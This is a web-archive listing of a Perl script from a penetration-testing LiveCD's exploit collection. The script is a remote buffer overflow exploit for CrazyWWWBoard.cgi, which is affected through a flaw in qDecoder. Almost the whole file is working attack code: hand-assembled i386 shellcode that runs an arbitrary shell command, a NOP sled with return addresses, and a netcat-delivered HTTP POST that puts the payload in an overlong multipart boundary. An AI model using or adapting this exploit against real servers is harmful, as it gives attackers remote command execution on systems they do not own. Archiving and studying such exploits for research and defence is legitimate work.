home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / crazywwwboard / crazywww.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  111 lines
  1. #!/usr/bin/perl
  2. # crazy.pl
  3. #
  4. # CrazyWWWBoard.cgi Remote Buffer Overflow Exploit for i386 Linux
  5. #
  6. # CGIs using qDecoder 4.0~5.0.8 are vulnerable to boundary delimeter
  7. # over 254 characters in the header "Content-Type: multipart/form-data".
  8. #
  9. # nc, the netcat program is required.
  10. #
  11. # Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 03/26/2000
  12.  
  13. $nc_path = "nc";        # path of netcat program
  14.  
  15. $usage =
  16. "usage: crazy.pl [options] CGI-URL\n
  17.   CGI-URL        URL of the target CGI
  18.   -c command     Bourne shell command
  19.                  Default: '/bin/echo 00ps, Crazy!'
  20.   -o offset      Offset of the egg shell code,
  21.                  Recommended [-300,+300]
  22.  
  23. example)
  24.   crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
  25.   crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
  26.   crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
  27.            target.com/cgi-bin/vulnerable.cgi
  28.  
  29. ";
  30.  
  31. require 'getopt.pl';
  32. Getopt('oc');
  33.  
  34. if ($#ARGV < 0) {
  35.     print $usage;
  36.     exit(0);
  37. };
  38.  
  39. $cgiurl = $ARGV[0];
  40. $command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!";
  41. $offset = $opt_o ? $opt_o : 0;
  42.  
  43. $cgiurl =~ s/http:\/\///;
  44. ($host, $cgiuri) = split(/\//, $cgiurl, 2);
  45. ($host, $port) = split(/:/, $host);
  46. $port = 80 unless $port;
  47. $command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
  48. $cmdlen = length($command);
  49. $argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
  50. $shellcode =
  51.   "\xeb\x37"                            # jmp 0x37
  52. . "\x5e"                                # popl %esi
  53. . "\x89\x76" . pack(C, $argvp)          # movl %esi,0xb(%esi)
  54. . "\x89\xf0"                            # movl %esi,%eax
  55. . "\x83\xc0\x08"                        # addl $0x8,%eax
  56. . "\x89\x46" . pack(C, $argvp + 4)      # movl %eax,0xb(%esi)
  57. . "\x89\xf0"                            # movl %esi,%eax
  58. . "\x83\xc0\x0b"                        # addl $0xb,%eax
  59. . "\x89\x46" . pack(C, $argvp + 8)      # movl %eax,0xb(%esi)
  60. . "\x31\xc0"                            # xorl %eax,%eax
  61. . "\x88\x46\x07"                        # movb %eax,0x7(%esi)
  62. . "\x4e"                                # dec %esi
  63. . "\x88\x46\x0b"                        # movb %eax,0xb(%esi)
  64. . "\x46"                                # inc %esi
  65. . "\x88\x46" . pack(C, 0x0b + $cmdlen)  # movb %eax,0xb(%esi)
  66. . "\x89\x46" . pack(C, $argvp + 12)     # movl %eax,0xb(%esi)
  67. . "\xb0\x0b"                            # movb $0xb,%al
  68. . "\x89\xf3"                            # movl %esi,%ebx
  69. . "\x8d\x4e" . pack(C, $argvp)          # leal 0xb(%esi),%ecx
  70. . "\x8d\x56" . pack(C, $argvp + 12)     # leal 0xb(%esi),%edx
  71. . "\xcd\x80"                            # int 0x80
  72. . "\x31\xdb"                            # xorl %ebx,%ebx
  73. . "\x89\xd8"                            # movl %ebx,%eax
  74. . "\x40"                                # inc %eax
  75. . "\xcd\x80"                            # int 0x80
  76. . "\xe8\xc4\xff\xff\xff"                # call -0x3c
  77. . "/bin/sh0-c0"                         # .string "/bin/sh0-c0"
  78. . $command;
  79. $offset -= length($command) / 2 + length($host . $port , $cgiurl);
  80. $shelladdr = 0xbffffbd0 + $offset;
  81. $noplen = 242 - length($shellcode);
  82. $jump = $shelladdr + $noplen / 2;
  83. $entries = $shelladdr + 250;
  84. $egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
  85.         . pack(V, $entries) x 2 . pack(V, $jump) x 2;
  86.  
  87. $content = substr($egg, 254) .
  88.   "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
  89. $contentlength = length($content);
  90.  
  91. printf STDERR "Jump to 0x%x\n", $jump;
  92.  
  93. open(HTTP, "|$nc_path $host $port");
  94. select(HTTP); $|= 1;
  95. print HTTP <<__HEADER__;
  96. POST /$cgiuri HTTP/1.0
  97. Connection: Keep-Alive
  98. User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
  99. Host: $host:$port
  100. Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
  101. Accept-Encoding: gzip
  102. Accept-Language: ko
  103. Accept-Charset: euc-kr,*,utf-8
  104. Content-type: multipart/form-data; boundary=$egg
  105. Content-length: $contentlength
  106.  
  107. $content
  108. __HEADER__
  109. close(HTTP);
  110.  
  111.